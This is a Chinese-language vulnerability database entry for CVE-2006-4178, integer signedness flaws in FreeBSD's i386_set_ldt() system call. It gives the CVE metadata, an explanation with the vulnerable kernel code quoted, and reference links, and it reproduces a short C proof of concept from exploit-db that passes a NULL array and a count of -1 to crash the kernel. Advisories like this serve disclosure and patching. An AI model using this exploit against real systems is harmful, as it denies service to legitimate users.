FreeBSD I386_Set_LDT()多个本地拒绝服务漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1111115 漏洞类型 边界条件错误
发布时间 2006-09-23 更新时间 2006-09-27
CVE编号 CVE-2006-4178 CNNVD-ID CNNVD-200609-428
漏洞平台 FreeBSD CVSS评分 4.9
|漏洞来源
https://www.exploit-db.com/exploits/28648
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200609-428
|漏洞详情
FreeBSD就是一种运行在Intel平台上、可以自由使用的开放源码Unix类系统。FreeBSD中的i386_set_ldt()调用允许用户系统的程序动态管理每个进程的本地描述符表。由于使用了有符号的整数且缺少输入验证,内核中bzero可能会被要求处理很大的参数,漏洞代码如下:415interror=0,i;416intlargest_ld;..449largest_ld=uap->start+uap->num;450if(largest_ld>pldt->ldt_len)451largest_ld=pldt->ldt_len;452i=largest_ld-uap->start;453bzero(&((uniondescriptor*)(pldt->ldt_base))[uap->start],454sizeof(uniondescriptor)*i);在415和416行,"i"和"largest_ld"变量都是有符的整数。在449行,同时添加了uap->start和uap->num,这两个变量都是用户控制的且没有经过正确的检查。在452行,可以将"i"设置为很大的负值,导致在453行以很大的长度参数调用bzero。无效的内存访问会导致内核忙碌。i386_set_ldt()系统调用会在LDT中设置当前进程的i386描述符列表。该调用接受一个开始选择器数(start)、包含有将要设置描述符的内存数组(descs),以及将要设置的条目数(num)。用户在通过sysarch()调用i386_set_ldt()时,如果将start参数设置为很低的整数值、将descs设置为非空的值,并将num设置为很高的无符整数值,就会触发largest_ld和descs_size(533和540行)中的整数溢出,导致耗尽所有可用的系统资源(541行)。此外还可以将start参数设置为低整数值、descs设置为空、num设置为很高的无符整数值触发largest_ld(515行)中的整数溢出,导致删除系统中的敏感数据(519和520行)。有漏洞的函数如下:476staticint477i386_set_ldt(td,args)478structthread*td;479char*args;480{481interror=0,i;482intlargest_ld;483structmdpro
|漏洞EXP
source: http://www.securityfocus.com/bid/20158/info

FreeBSD is prone to multiple local denial-of-service vulnerabilities. These issues occur because of input-validation flaws related to the handling of integers.

An attacker may leverage these issues to cause the affected computer to crash, denying service to legitimate users.

Versions 5.2 through 5.5 are vulnerable to these issues; other versions may also be affected.

#include <stdio.h>
#include <stdlib.h>
#include <machine/segments.h>
#include <machine/sysarch.h>

int main(int argc,char **argv){

    if(i386_set_ldt(LUDATA_SEL+1,NULL,-1)==-1){
        perror("i386_set_ldt");
        exit(EXIT_FAILURE);
    }

    exit(EXIT_FAILURE);
}
|参考资料

来源:IDEFENSE
名称:20060923FreeBSDi386_set_ldtIntegerSignednessVulnerability
链接:http://www.idefense.com/intelligence/vulnerabilities/display.php?id=415
来源:BID
名称:20158
链接:http://www.securityfocus.com/bid/20158
来源:BUGTRAQ
名称:20060925iDefenseSecurityAdvisory09.23.06:FreeBSDi386_set_ldtIntegerSignednessVulnerability
链接:http://www.securityfocus.com/archive/1/archive/1/446946/100/0/threaded
来源:SECTRACK
名称:1016927
链接:http://securitytracker.com/id?1016927
来源:SECUNIA
名称:22064
链接:http://secunia.com/advisories/22064